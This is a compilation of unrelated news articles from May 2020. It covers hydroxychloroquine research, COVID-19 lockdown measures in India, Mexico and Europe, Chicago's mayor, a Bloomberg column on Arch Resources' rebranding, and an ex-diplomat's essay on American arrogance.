The new study's findings cannot necessarily be extrapolated to people with mild illness at home or those, like Trump, who are taking the antimalarials as a prophylactic. The president stunned many doctors earlier this week when he said he was taking a pill "every day" - despite FDA warnings that the use of the drug should be limited to those in a hospital setting or in clinical trials. (He has since said he is close to finishing his course of treatment and would stop taking the medication in "a day or two.")

A large study of health-care workers that examines the use of hydroxychloroquine as a preventive measure against covid-19 is in the works, but no results have been released.

Some scientists have expressed alarm at the politicization of science in the debate over how to respond to the pandemic, and especially about the use of antimalarial drugs. The Lancet, one of the world's oldest and best-known journals, also published an unsigned editorial last week criticizing Trump's "inconsistent and incoherent national response" to the pandemic, and urging Americans to "put a president in the White House come January, 2021, who will understand that public health should not be guided by partisan politics."

There have been at least 13 studies in recent months on hydroxychloroquine or chloroquine as a treatment for covid-19 patients. They have included randomized controlled studies and observational analyses encompassing patients on the continuum from mild illness to those near death. Evidence of any benefit, such as viral clearance or improved symptoms, has been almost nonexistent. But many found an increased risk in adverse cardiac reactions - especially when combined with the antibiotic azithromycin.

Earlier this month, backers of the president's views on antimalarials seized on a study out of NYU Langone Health that gave hospitalized coronavirus patients zinc combined with hydroxychloroquine and azithromycin. Those in the treated group had a higher rate of survival, but researchers emphasized the study was focused on zinc and whether hydroxychloroquine would enhance the supplement's anti-viral effects. They emphasized their findings were tentative and could have been due to factors other than the drugs, especially since zinc was added to patients' regimens later in the pandemic when hospital treatments and procedures had been refined.

Last week, the National Institutes of Health announced a randomized clinical trial of 2,000 adults to determine if hydroxychloroquine and azithromycin could be used to treat coronavirus patients.

Topol, of the Scripps Research Translational Institute, suggested that the researchers should reconsider the ethics of those trials, given the increasing evidence of potential harm. "It's very hard to ignore that signal, and it's worrisome to continue giving it," he said.

Geoffrey Barnes, a cardiovascular specialist at the University of Michigan, said the study's approach and its findings were "striking" in making the case that "the risk with these drugs is real." However, he said that due to the enthusiasm some Americans have for the drug and the Lancet study's findings, randomized trials are even more important.

"There has been so much discussion about this drug that I think the scientific and medical community has an obligation to define what the potential benefit or risk is in the best way possible," Barnes said.

When the first large wave of sick patients began showing up at hospitals in March, doctors had very little to offer them. As a result, many took a gamble on hydroxychloroquine. The drug had been shown to have strong antiviral properties in cell cultures, was widely available and was thought to be rather benign in terms of side effects. For years, hydroxychloroquine has been considered a generally safe and effective treatment for malaria, lupus and rheumatoid arthritis.

But those findings of safety were at lower doses than were being used at hospitals during the early days of the surge in patients in the United States and mostly in patients who were healthy. The population infected with covid-19 in hospitals, it turned out, was already at higher risk of cardiovascular complications because many suffer from high blood pressure or other heart issues. Doctors also discovered that, to their surprise, the novel coronavirus appeared to directly or indirectly attack the heart, including by reducing its ability to pump, creating an imbalance in its electrical rhythms, and attacking blood vessels.

- - -

The Washington Post's Peter Whoriskey contributed to this report.
When Morocco closed its frontiers with Spain to curb the spread of coronavirus on 13 March, it left around 20,000 Europeans trapped in the country.

Those considered to be in a vulnerable situation were repatriated on special flights, but thousands more were left behind, many of them travelling in their own cars or motor homes.

They have now started to be brought back into Europe on the Bahama Mama, a ferry laid on by the company Balearia in collaboration with several governments, including Spain's.

The Bahama Mama, in Malaga. / M. FERNANDEZ

On Thursday it made the first of at least eight trips scheduled between now and the beginning of June between Tangier and Malaga to bring the travellers home.

Its passengers were mainly tourists who have spent the last two months of lockdown in their Moroccan holiday homes, in rented accommodation or in their own mobile homes.

The ferry docked at around 8pm, carrying 383 passengers, the majority of them British and German, and 183 vehicles, according to information provided by the port. After disembarking in their vehicles, the passengers made their own way to where they had arranged to spend the night, before continuing on their journey.

Temperature checks

First, however, the passengers had to pass through a special health checkpoint in the port terminal. Their body temperatures were taken for the second time that day, the first check being before they left Morocco.

It is estimated that there are still around 18,000 people in Morocco who have asked to leave Tangier via Malaga. So far eight trips have been scheduled but more have not been ruled out.

The ferry was due to arrive in Malaga on Friday on its second trip, this time carrying mainly Spanish passengers.

The operator of Malaga port terminal, Eurogate, has established distancing measures inside the building as well as a disinfecting operation before and after the arrival of passengers. There is also a plan of action coordinated with the health ministry for any suspected Covid cases.
Together, we remember our patients who lost their lives, our patients who continue to fight and our dedicated team members who work tirelessly to restore health and wellness. We also use this time to be mindful of families and team members whove lost a loved one and all who are struggling with hardships during these unprecedented times, Matthew Primack, president of Advocate Condell Medical Center, said in the release.
Bengaluru, May 22 : Infosys on Friday said that the class action lawsuit filed against the company in the US has been "voluntarily dismissed" by the plaintiff.

In October 2019, a class action lawsuit was filed in a United States District Court against the company and certain of its current and former officers including the current CEO Salil Parekh, over alleged false and misleading statements of the company to the market in a bid to boost short term revenue and profit.

"The complaint, which was filed in the Eastern District of New York, was brought on behalf of a class consisting of persons or entities who purchased the Company's publicly traded securities between July 7, 2018 and October 20, 2019, and alleged claims for violations of the US federal securities laws. On May 21, 2020, the plaintiff voluntarily dismissed the lawsuit without prejudice," Infosys said in a regulatory filing.

US-based Schall Law Firm and Rosen Law Firm had filed the lawsuit over alleged violation of US federal securities laws on behalf of Infosys shareholders in the US.

Shares of Infosys surged post the dismissal of the lawsuit. On the BSE, its shares closed at Rs 692.25, higher by Rs 20.25 or 3.01 per cent from the previous close.
One year into her tenure as Chicago's mayor, Lori Lightfoot says she's fighting two pandemics.

"Obviously, the pandemic of COVID-19, but unfortunately gun violence in our city continues," Lightfoot told CBS News' Jericka Duncan. "It's particularly frustrating and challenging because you look at the fact that essentially our courts are closed, our jail is closed, the prosecutors really are reluctant to bring cases, and so our police department is really left as the only public safety actor, from a law enforcement perspective."

Despite strict stay-at-home orders from Lightfoot's office, gun violence in Chicago has continued. According to data compiled by the Chicago Tribune, 715 people have been shot in Chicago as of April 26, up 73 people from the same period the year before.

"All the other tools that we would use to support that public health infrastructure has been singularly focused on fighting COVID," Lighfoot said. "And at a time when  police officers are human like everybody else, they're worried about getting infected, they're worrying about taking that back to their homes, and so what our police department has had to do is really come up with some much more innovative ways to think about public safety."

But it's not just the police department that has had to get innovative in Chicago. Lightfoot said she knew she had to act when she saw emerging disparities in how coronavirus was affecting different neighborhoods.

As of May 19, more than 1,700 Chicagoans have died from COVID-19; nearly 75% of them were either black or Hispanic. That led Lightfoot to create Chicago's Racial Equity Rapid Response Team, a group geared toward helping communities of color fight the spread of the coronavirus.

"We want to make sure that, as we're bringing resources and engaging with communities in a hyper-local fashion, that we are also connecting up our folks to health care services," Lightfoot said. "What we were seeing is too many blacks, too many Latinx, going to the emergency rooms for the first time as their contact with the health care system."

Story continues

Lightfoot said it was important for her to create such a task force  one of the first in the country  because of her personal connection to the community.

"When I first saw those numbers about how black Chicago was being disproportionately impacted, my first reaction was to think about my 91-year-old mother," Lightfoot said. "To think about my siblings who are all over 60, some of whom have these underlying conditions. It felt very personal to me."

Lightfoot's handling of the coronavirus pandemic is the latest in a list of challenges she's faced during her first year in office.

Last October, the Chicago Teachers Union went on its longest strike in decades, shutting schools for more than 300,000 students. And last December, Lightfoot fired Chicago Police Superintendent Eddie Johnson for what she called a "series of ethical lapses."

"I could've simply let him retire. I could've fired him quietly," Lightfoot said. "But I thought it was important to make sure that I sent a very clear message to the rank and file that no one was going to be above the law."

Chicagoans now know all too well Lightfoot's ability to send a clear message. Her no-nonsense approach to social distancing and self-isolation helped make her the star of several coronavirus memes, and it led to the success of several humorous PSAs centered around her slogan, "Stay Home, Save Lives."

"I'm leaning into what I think are ways in which we can communicate in different ways. It is not one size fits all," Lightfoot said. "In this otherwise really difficult, stressful time that's induced a lot of fear and anxiety, in my city, people are still finding a reason to smile and to laugh and have fun. And that's important. And if I contributed a little bit to that, then I feel very, very satisfied."

Listen to Jericka's extended conversation with Mayor Lightfoot on the "CBS This Morning" Podcast:

Veteran NASA astronauts to be first to launch from American soil since retirement of Space Shuttle

Memorable moments from the "CBS This Morning" anchor team's year together

Colonel Tom Moore to be knighted after receiving special nomination from Boris Johnson
Three migrant workers were killed while another was seriously injured when their vehicle was hit by a truck near Basahi village under the Lalganj police station here on Friday.

Uttar Pradesh Chief Minister Yogi Adityanath expressed grief over the incident and announced an ex-gratia payment of Rs two lakh each to the families of the deceased.

The accident occurred in the morning when a hired vehicle in which seven persons hailing from Bihar's Gopalganj were returning home from Mumbai were hit by a truck, Mirzapur Superintendent of Police (SP) Dharamvir Singh said.

At the time of the accident, the migrants were sleeping in the vehicle, which was parked around 40 feet away from the road, he added.

While two of them were killed on the spot, another succumbed to injuries in the hospital.

Those killed were identified as Raju Singh (26), Saurav Kumar (23) and Amit Singh (26).

The bodies were sent for post-mortem, while arrangements were being made to send the other migrants home, the SP said.

The driver of the truck has been arrested and an FIR lodged against him, he added.

According to an official spokesperson in Lucknow, the chief minister has announced an ex-gratia payment of Rs two lakh each to the families of the deceased and directed officials to ensure proper treatment of the injured person.

He has also directed officials to make arrangements for sending the bodies to their homes, the spokesperson said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Domestic passenger flight services in the country will resume from May 25 in a calibrated manner, two months after they were shut down on March 25 due to the nationwide lockdown to curb the spread of COVID-19.

About a third of operations will be allowed under strict norms from Monday. The civil aviation ministry has issued a set of detailed guidelines to resume operations.

Here's a glimpse of how airports are preparing to resume operations as per the new guidelines issued.

All photographs: PTI Photo

As per the new guidelines, before entering the terminal, passenger must ensure to wear a mask. Passenger to certify the status of history of his or her health through the Aarogya Setu App or a self-declaration form. After thermal screening, the passengers shall move to the CISF (Central Industrial Security Force) counter at the entry checkpoint and display their identity cards, boarding passes to the CISF staff. The CISF staff, on confirming the identity of the person, shall allow him/her in.

Passengers should ensure web check-in and obtain a boarding pass. Only one check-in bag and one cabin bag is allowed. Passenger must also download the baggage tag and baggage identification number, print it and affix it on the bag at a prominent place. In case the passenger is not able to print the baggage tag, then he or she should mention the PNR number and his or her name on a thick piece of paper and affix it / tag it with a strong string.

Passenger to proceed to security hold area after security screening. While waiting in the security hold area, passenger to maintain social distancing and sanitisation protocols. Arrangements have been made at airports to guide passengers to walk through the pre-embarkation security screening.

Passengers must adhere to social distancing which would be specified at the airports through markings like circle, square or tensor barrier as specified at the airport to be used by the passenger.

Passengers should divest of all metal on their body to facilitate the security screening. Also, bring only one hand luggage as per specified

size allowed by the airlines. Security staff will practice 'minimum touch' concept to reduce physical contact with the passengers

Chairs marked 'Not For Use' should not be occupied. Passengers to complete the check-in procedure and baggage drop off at

least 60 minutes before departure.

Display of identity cards by passengers is a must and check-in of the boarding pass would be done by the passenger by self-scanning of e-boarding pass. During the flight, passengers to strictly follow hygiene and sanitation. Face-to-face interaction to be minimised.

According to the guidelines, the airports will have to ensure easy availability of hand sanitisers at all entry points and at various touch points. Airports have been advised to earmark areas for isolation as well as to carry out COVID-19 testing of suspected passengers.
The Head Pastor of the International Gods Way Church, Bishop Daniel Obinim, spent the third day in police custody Thursday.



This followed his inability to meet bail conditions given by an Accra Magistrate Court which had granted him bail.



Arrest



Bishop Obinim was arrested last Tuesday, on a warrant issued by the court and was charged with the offence of publication of false news and forging of documents contrary to Sections 208 and 159 of the Criminal and other Offences Act, 1960 (Act 29) respectively.



The court later granted him bail in the sum of GH100,000 with three sureties.



However, three days after he was granted bail, he had not been able to meet his bail conditions.



Confirmation



Confirming the development, the Public Relations Officer of the Criminal Investigation Department (CID), Deputy Superintendent of Police, Ms Juliana Obeng, said " he is yet to meet the bail conditions.



 He is still going through the process of meeting the bail conditions."

Source: Daily Graphic









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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The Member of Parliament (MP) for Assin Central, Kennedy Agyapong, who has sworn to expose fake Ghanaian pastors, has described as unfortunate, the sudden death of Evangelist Emmanuel Apraku, otherwise called 'Apraku My Daughter'.

Speaking on The Seat on Net2 TV on Wednesday evening, he advised other men of God and Ghanaians in general to learn a lesson from the life of Apraku.

Apraku was found dead in his residence at Adom Estates, Kasoa, in the Central Region on Wednesday, May 20, 2020.

'Apraku My Daughter' was once a popular evangelist who gained fame across Ghana through his supposed miracles in his church.

Before his death, a video of him looking drunk, sick and shabby popped up on social media which generated a lot of talks.

It was not clear if he was on social media to see what people were saying about him. But sadly he was found dead in his room at Kasoa.

According to Kennedy Agyapong, though he was not surprised about his death, he does not wish death on anybody.

I don't hate anybody. I will say the truth till death. Even at the point of death, I will not lie. I will tell you. So let us use what we are doing to learn a lesson. The pastors who don't speak the truthful your end is despicable. At a point Apraku had over 20 cars but look at his end; he was now wearing slippers with swollen stomach I am not surprised he is dead. Nobody is happy for anybody to die. No that is not what I am saying but I am surprised he used Gods name to deceive people you see his end today. Anyone who makes his mind to cheat the poor to become wealthy, God will deal with you. I believe in karma. The evil that men do lives after them, he indicated.

---Daily Guide
The story of an artist who tracked down the thief who stole two of her paintings and made him her muse has inspired a thought-provoking new documentary.

Barbora Kysilkova, from the Czech Republic, was devastated - and confused - after two of her large pieces were snatched from Galleri Nobel in Oslo in April 2015.

The robbery was unusual because the thieves - who were caught on CCTV and arrested soon after - had gone to great lengths to avoid causing the paintings any damage, painstakingly extracting more than 200 nails to remove the canvases.

Joking that their efforts had earned her 'respect', Kysilkova decided to reach out to one of the criminals - a Norwegian tattooed drug addict called Karl-Bertil Nordland.

Barbora Kysilkova, from the Czech Republic, pictured right, reached out to one of the criminals who stole her paintings from a gallery - a Norwegian tattooed drug addict called Karl-Bertil Nordland (left)

Chloe & Emma (2013) - a photorealistic painting measuring over 6ft by 4ft which was stolen from Galleri Nobel in Oslo in April 2015

When she asked him why he'd stolen her artworks, Nordland simply replied 'because they were beautiful' - taking Kysilkova by surprise.

After hearing more about his troubled life, she offered to paint him - and when he saw the finished piece he burst into tears.

The story inspired documentary maker Benjamin Ree, whose subsequent film, The Painter and the Thief, debuted at the Sundance Film Festival in January where it won a gong for creative storytelling.

It follows Kysilkova - who had moved to Oslo to be with her partner, novelist ystein Stene - and Nordland for several years and charts how their relationship changes from strangers to painter and muse, as well as friends.

Kysilkova offered to paint Nordland (pictured) - and when he saw the finished piece he burst into tears, and the pair stuck up a creative partnership

Using archive footage of Kysilkova painting the stolen works, director Ree was able to tell the story from the beginning.

Speaking about the theft of her pieces - Chloe & Emma (2013) and Swan Song (2014), both photorealism paintings measuring over 6ft by 4ft - Kysilkova told Observer.com: 'It doesn't make sense that somebody would steal my paintings.

'Every single nail lifted, not a single thread of the canvas was left... I actually started to have some kind of respect for these people.'

After meeting Nordland and painting his picture - his reaction to which was filmed for the documentary - Kysilkova helped to support him as he continued to battle his drug addiction, which saw him check into rehab, relapse, crash a stolen car and end up back in prison.

After meeting Nordland (pictured centre) and painting his picture - his reaction to which was filmed for the documentary - Kysilkova (right) helped to support him as he continued to battle his drug addiction

Meanwhile she attempted to track down her stolen paintings - Nordland insists he 'doesn't remember' what he did with them.

During the documentary viewers learn how Nordland spiralled into a life of drugs and crime after being abandoned by his mother and watching close friends succumb to gang violence and substance abuse.

Kysilkova, who herself has endured an abusive past relationship, said she has always been 'attracted to less comfortable issues of mankind'.

Kysilkova, who herself has endured an abusive past relationship, said she has always been 'attracted to less comfortable issues of mankind'. Pictured at the Sundance Film Festival in Utah in January

'[Nordland is] not the best citizen, but I really moved that all away and let him come to me. And he let me come to him,' she told Observer.

'I told him that this movie would be an amazing chance to tell the world what happens when we get rid of the prejudices and we just approach each other human to human.'

The Painter and the Thief opens in virtual cinemas and digital platforms including iTunes, Fandango Now and Google Play on May 22. Visit the website for more details: https://neonrated.com/films/the-painter-and-the-thief
Muslims adhered to the lockdown guidelines and offered their prayers for Juma Alwida or last Friday of holy Ramzan month by remaining at their homes in Agra and Aligarh.

Elaborate security arrangements were made and strict vigil was maintained throughout the day which passed off peacefully in Braj region.

Various religious heads and leaders of organisations had appealed in Agra and Aligarh, asking Muslim brethren to offer namaz for Juma Alwida while remaining at home. Such appeals were made for compliance of guidelines for lockdown which seek prohibition on gatherings during Covid-19 pandemic.

It was unusual scene at Jama Masjid in Agra as the gathering on premises of this historical mosque was missing this time. Even in smaller mosques, there were no gathering and those who were present there only offered namaz on the last Friday of holy Ramzan month.

We had made an appeal to Muslim community to comply with norms of lockdown, prohibiting mass gathering and as such namaz for Juma Alwida was offered at their residences, stated Haji Jameeluddin Qureshi, the all India vice president of Jameet-ul-Quresh.

Police were vigilant all through the day and marched through sensitive localities but had nothing much to do as no gathering was made at mosques and mostly the prayers were offered on this auspicious day within houses.

Those offering namaz at mosques were Imam and khadim at these mosques and even the ulema remained in houses for offering namaz.

The Shahar Mufti in Aligarh, Mohammad Khalid Hameed too has made similar appeal to offer namaz at houses in Aligarh. There were united voices in support as nation was fighting with coronavirus pandemic.

Local intelligence units were active and special drives were conducted to ensure cleanliness beside proper water supply in localities having mixed population. Cops were found convincing religious heads to play constructive role in fight against coronavirus pandemic and had its positive impact.
ALBION, MI -- Albion College President Mauri Ditzler waved goodbye as community members drove past his home during a farewell parade on Thursday, May 21. Ditzler was Albion Colleges president for six years and worked in higher education for 40 years.

He has done some remarkable things at the college, said college spokesman Chuck Carlson.

Ditzler said the parade was very impactful.

It was the first time in weeks that Id been really emotional, he said.

I feel more a part of this town than any other town Ive ever worked in or maybe any town that Ive lived in, said Ditzler.

Ditzler plans to return to his farm in southern Indiana where he and his wife will run their you-pick farm together. Ditzler adds that they have been preparing the farm and running it for the last 20 years, with his wife running the farm the majority of the time.

To view more photos, see the gallery bellow.

The Albion College community and those within the town wave goodbye to Mauri Ditzler during a retirement parade in honor of his six years as the Albion College President on Thursday, May 21, 2020. Mikayla Carter | MLive.com

The Albion College community and those within the town wave goodbye to Mauri Ditzler during a retirement parade in honor of his six years as the Albion College President on Thursday, May 21, 2020. Mikayla Carter | MLive.com

The Albion College community and those within the town wave goodbye to Mauri Ditzler during a retirement parade in honor of his six years as the Albion College President on Thursday, May 21, 2020. Mikayla Carter | MLive.com

The Albion College community and those within the town wave goodbye to Mauri Ditzler during a retirement parade in honor of his six years as the Albion College President on Thursday, May 21, 2020. Participants created signs to show Ditzler their appreciation. Mikayla Carter | MLive.com

The Albion College community and those within the town wave goodbye to Mauri Ditzler during a retirement parade in honor of his six years as the Albion College President on Thursday, May 21, 2020. Participants created signs to show Ditzler their appreciation. Mikayla Carter | MLive.com

The Albion College community and those within the town wave goodbye to Mauri Ditzler during a retirement parade in honor of his six years as the Albion College President on Thursday, May 21, 2020. Mikayla Carter | MLive.com

The Albion College community and those within the town wave goodbye to Mauri Ditzler during a retirement parade in honor of his six years as the Albion College President on Thursday, May 21, 2020. Participants created signs to show Ditzler their appreciation. Mikayla Carter | MLive.com

The Albion College community and those within the town wave goodbye to Mauri Ditzler during a retirement parade in honor of his six years as the Albion College President on Thursday, May 21, 2020. Mikayla Carter | MLive.com
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(Bloomberg Opinion) -- Gray? Try steel-colored. Angular? You must mean steel-inspired. Im referring, of course, to the new logo of the rechristened Arch Resources Inc.

The old logo, with its stylized fragment of St Louis Gateway Arch, was fine  apart from the fact that it had the word coal in it. Arch Coal, the companys old name, was a mite too connected with a certain fuel that is not only in terminal decline in the U.S. but also rather unpopular with the ESG crowd.

When Arch Coal was formed in 1997, Americas power stations were burning 900 million tons a year, generating more than half the countrys electricity, and climbing. Today, thermal coal accounts for less than a fifth of the mix:

Remarkably, in announcing its name change this week, Arch pulled a Voldemort with the word coal: It doesnt appear anywhere in the main body of the press release(3). This is doubly impressive when you consider Arch Resources will in fact continue to mine prodigious quantities of ... well, you know. Thingy.

Only Arch is now focused on a different class of thingy. Metallurgical coal is thermal coals more prosperous sibling, a vital ingredient for making steel; hence Archs steely new logo. Except Arch refers to these black rocks dug out from the ground not as metallurgical coal but as metallurgical products.

Corporate rebranding tends to offer a rich seam of material, but Archs new name is actually a logical progression in a logical strategy.

Ever since the miner emerged from chapter 11 in 2016, its approach has been one long tacit acknowledgement that the U.S. thermal coal industry is in a downward spiral. That business has essentially been run for cash, with capex running at just 70% of depreciation, and the companys Powder River Basin assets are about to be subsumed into a joint venture with Peabody Energy Corp. The more profitable metallurgical business, meanwhile, is expanding, with a major new project in West Virginia underway. Most importantly, though, for every dollar Arch has invested back into the business, its spent about $1.60 on stock buybacks, taking in 40% of the shares(1) . This is how you head into the sunset.

Story continues

So the new name and Terminator-esque logo arent just some branding consultants WFH project. Its the latest step in Archs quest to carve out a new life after death. For example, see this from the announcement:

We expect steel to play an essential role in the revitalization of the global economy as it recovers from the disruption of the COVID-19 pandemic, and in the construction of a new economy supported by mass transit systems, wind turbines and electric vehicles.

See? No mention of coal, but a cameo by wind turbines, no less (ah, the irony). Mad Mens Don Draper once pitched Bethlehem Steel on advertising itself as producing the building blocks of Americas great cities. In real life, Arch would like you to know it mines the building blocks that go into making those building blocks.

On one level, thats par for the course. Any commodity producer would like you to associate their otherwise standard product with something more exceptional and valuable; similar thinking underlay Arconic Corp.s split from aluminum smelter Alcoa Corp. Metallurgical coal may be higher-margin, but it remains a commodity, with all the volatility that entails; the stock has halved so far this year(2). Far better to focus minds on something more stable, like a T-bar.

In this case, though, theres a bigger drama playing out, and the wind turbine is the key character. While Archs announcement lacked coal, it provided my annual quota of environmental, social and governance mentions in the space of a few minutes. Arch is still running its thermal coal mines and likely will for as long as they spit out cash. But competition from cheap shale gas and renewable energy has made thermal coal a tough sell to investors already. Now climate change is making it altogether taboo  regardless of how efficient the miner  as ESG considerations gain traction.

The ongoing rebranding of Big Oil as Big Energy reflects similar dynamics. As the function of energy markets shifts from simply producing ever more tons or barrels or whatnot to optimizing supply, demand and emissions, so the expectations of the capital markets shift, too.

The multiple that makes a stock price is ultimately just some narrative about the future expressed as a number (for an extreme example, see Tesla Inc.). It isnt just that Archs old story no longer convinces; its increasingly unacceptable and thereby a burden on, rather than a boost to, value. Becoming truly steel-inspired requires being a touch coal-amnesic.

(1) You'll find a couple of instances further down in the safe-harbor language, but who reads that? Of course we all read that.

(2) All figures are aggregated for the period 2017 through the first quarter of 2020.

(3) Amove of just $25 a ton in the price of metallurgical coal is enough to swing ArchsEbitda by $175 million, as per Arch Resources' investor presentation on May 15, 2020. Data are pro-forma for the start up of the Leer South project in West Virginia.

This column does not necessarily reflect the opinion of the editorial board or Bloomberg LP and its owners.

Liam Denning is a Bloomberg Opinion columnist covering energy, mining and commodities. He previously was editor of the Wall Street Journal's Heard on the Street column and wrote for the Financial Times' Lex column. He was also an investment banker.

For more articles like this, please visit us at bloomberg.com/opinion

Subscribe now to stay ahead with the most trusted business news source.

2020 Bloomberg L.P.
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The greatest country on earth. Its a label assigned to the United States frequently by politicians, pundits, and average Americans. The most prosperous, the greatest democracy, the mightiest military, a singular world power. And yet, here we are, proving an abysmal failure, both relatively and absolutely, in our national response to the coronavirus pandemic.

It is easy to blame President Donald Trumps ham-handed response, replete with dangerous misinformation and deadly politicization. Without a doubt, his actions have cost American lives, but the full picture of how we got here precedes this administration. American arrogance was costly long before Trump came to power. It is what made his own arrogance so dangerous to us all.

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I recall growing up with a sense of American exceptionalism. It inspired me to join the Foreign Service, to serve as a career diplomat representing our country overseas for eight years before I resigned. I believed that our country was a force for good in the world, and I wanted to be part of the civilian army carrying that forward. But my illusions of our grandeur were steadily eroded. Im saddened by our failures today but not so surprised as most. Years of seeing America from the outside can drive home just how unexceptional America really is.

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Though our influence is unparalleled, how we use that influence becomes the rub. I saw this firsthand as a diplomat in South Sudan, where I was serving when civil war broke out in December 2013. By the time I arrived, South Sudan had been an independent country for only two years. The United States had provided the new country unparalleled financial and political support and unwaveringly supported its independence. In the pre-independence period and subsequent years, however, we failed to reassess what we had deemed a success story, turning a blind eye to increasingly authoritarian behavior and bad acts of the government we had long championed. In doing so, we failed to wield our tremendous influence to good effect.

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American arrogance was costly long before Trump came to power.

We expressed concern when the nascent nations army slaughtered civilians as part of a violent counterinsurgency campaign, but we chalked it up to the growing pains of a rebel force in transition. When President Salva Kiir sacked his entire Cabinet in a brazen move to root out dissent and political competition, U.S. authorities worried quietly but did not raise alarm. These actions didnt fit the tidy narrative of good versus evil that had underpinned our support initially in bringing the new country into being, but we were too stubborn to admit that wed played a bad hand, that the good guys wed bet on were not who wed believed them to be. Instead of using leverage to press Kiir and his government for change and accountability, at a time when such efforts could have made a difference, we chose to stick to our story of success, long after that story became fiction.

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Our arrogance in South Sudan was that we thought if we believed the country was a success, it would be. The work of actually making it a success would have been messier, less absolute, and less certain. Our lack of critical self-reflection stymied the utility of our actions and the efficacy of our significant investment. A similar pattern has played out repeatedly across our foreign policy repertoire. Our actions and outlook were dominated by short-term thinking, grounded in political expediency rather than principles. This is not a new problem, but one that has lured us time and again into foreign policy quagmires we could start but not finish. See Vietnam and Afghanistan for the most notable examples, but this trend repeats itself on a smaller scale far more frequently. When these projects inevitably fail, we cling to the assumption that we were right anyway, our actions were just, and bad outcomes were merely beyond our control. Because we were unwilling to admit our mistakes, we were unable to learn from them. However bad the result, it would have been worse without our intervention, wed tell ourselves.

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It isnt that America is not capable of great things. It isIve seen this firsthand too. We have led robust global responses in the fight against the Islamic State and the battle against Ebola. But we are also reluctant participants in group projects we are not empowered to dominate ourselves. We have worked with dozens of countries to promote more representative elections and reduce human trafficking and other crimes. Yet we are equally likely to pursue ineffective projects on untenably short timelines, designed to meet our own political ends rather than actual need on the ground. Undergirding all of this is our belief, as a nation, that America knows best, coupled with a reticence to admit our faults and failures.

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The real tragedy is that we have that capability but readily squander it. We are seeing that play out today, to tragic consequence. The United States was perfectly capable of an exemplary response to the COVID-19 crisis, not only in how we cared for our own but in the role we could have played in leading a more integrated and effective global approach. Weve dropped the ball, willfully, and our leaderships unwillingness to admit that impedes us further still.

Im certain that if someone elseanyone elsewere president, our response would have been better, but Americas culture of arrogance made Trumps actions, and inactions, possible. This culture is deeply embedded in our political leaders, who rarely prove willing to admit even the most obvious of missteps. Arrogance has enabled our political checks and balances to atrophy and undermined our bureaucratic ones. Gradually, our executive branch became emboldened and impervious to oversight. Under administrations of both parties, political allies would deem executive action bold and decisive as long as it aligned with their interests, while arguments for executive constraint were written off as partisan.

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Arrogance is also woven into the fabric of both our civil service and military structures, neither of which nurture or welcome constructive dissent. If you doubt the power that culture wields, consider the standout stories of government officials over the past year. Out of 2 million federal employees, only a handful have taken the brave step of speaking out against this administration while still within its ranks, and most of them waited for a subpoena to do so. Career professionals routinely stand on a stage with Donald Trump and have little more recourse than flinching at his lethal lies. They contort mightily in statements and interviews to avoid contradicting their haughty leader. How is it that we find ourselves here, even as this administrations poor decisions cost countless American lives? Because the culture in our staid, hierarchical bureaucracy rewards good soldiers, not challenging ones. Civil servants are expected to take it on faith that their leaders know best and are acting in our collective self-interest. If you disagree, it isnt your job to say so.

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As someone who pursued dissent through official channels in opposition to our support of the South Sudanese government in 2015, I know this trend predated Trump. Through the process of submitting a dissent cable to State Department leadership, I learned that this formal channel was designed to quell dissent rather than address it.

While this is not a new problem, it is executed far more indelicately under the Trump administration than it was before. The few public servants who do speak up only underline this point. Just ask Capt. Brett Crozier or a host of inspectors general pushed out of their positions for merely doing their jobs. The Trump administration has repeatedly gotten away with dismissing and retaliating against the loudest, most honest voices. Years of support for executive overreachmostly partisan, but at times nonpartisan toohas provided some foundation for the growing autocratic actions of today.

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Our redemption will not happen overnight. It will require a cultural shift in our governance, if we are to be an effective leader in the world once more. A change in administration is necessary, but alone it is not sufficient. Our governments oversight mechanisms must be enhanced and respected. Our career civil servants and experts must be empowered to lead. Our discourse over policy, whether foreign or domestic, must be more honest, open, and accountable. Our failures must be admitted and evaluated to inform our future actions.

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What America lacks as a leader is humility, an ability to admit mistakes and act to address them. Our hubris is our countrys Achilles heel. Perhaps a virus that brings us to our knees will leave us with this lesson learned. Perhaps we emerge less great, by measurable standards, but more capable of achieving greatness again.
MEXICO CITY - General Motors announced Thursday that it is gradually restarting operations at engine and transmission plants at two of its four manufacturing complexes in Mexico.

Hey there, time traveller!

This article was published 21/5/2020 (608 days ago), so information in it may no longer be current.

MEXICO CITY - General Motors announced Thursday that it is gradually restarting operations at engine and transmission plants at two of its four manufacturing complexes in Mexico.

The news came as Mexico recorded its second highest one-day death toll in the coronavirus pandemic, with 420 deaths reported Thursday, slightly less than the 424 reported Wednesday. That brought Mexico's total COVID-19 deaths to 6,510. Confirmed cases rose by just under 3,000 to 59,567, though experts say the actual number is probably several times higher because Mexico performs so little testing.

The Mexican government had said that auto companies could start preparatory work for reopening their operations May 18, but that a full re-opening wouldnt occur until June 1.

Jen Zoratti | Next A weekly look towards a post-pandemic future delivered to your inbox every Wednesday. Sign Up I agree to the Terms and Conditions, Cookie and Privacy Policies, and CASL agreement.

But General Motors de Mexico said in a statement that it would start operations Friday at its motor plant in Ramos Arizpe in the northern state of Coahuila and an engine and transmission plant in Silao in the central state of Guanajuato.

The company said assembly work at the two complexes also might resume Friday, depending on the status of suppliers.

The company said it was unclear when it might reopen operations at its complexes in Toluca near Mexico City and in the central state of San Luis Potosi.

U.S. officials have pressured Mexico to allow factories to resume operations after shutdowns to stem the spread of the coronavirus. They argue that the integrated supply and production chains throughout the three nations of North America make plants in all three countries dependent on each other.

Mexico has said companies would have to do temperature and symptom screening of workers, give them face masks, enforce social distancing and ensure sanitation measures in plants set to reopen.

GM, whose Mexican plants have been shuttered for almost two months, said it is complying with all the government requirements.
The Uttar Pradesh police has initiated action against 5,000 people in the state in recent days for not wearing masks or covering their faces and imposed fines on them, a senior government official said on Friday.

"They are being warned and asked not come out without mask or face cover," Additional Chief Secretary, Home and Information, Awanish Kumar Awasthi told reporters here.

"Wearing masks has become mandatory in the state. In past three-four days, its strict implementation is being ensured. Action has been taken against 5,000 people for not complying with the orders. Rs 100 fine has been realised from all of them," he said.

Awasthi said that permission has been granted to 1,199 trains to bring migrant labourers back to the state and over 16.50 lakh of them are expected to arrive in the next few days.

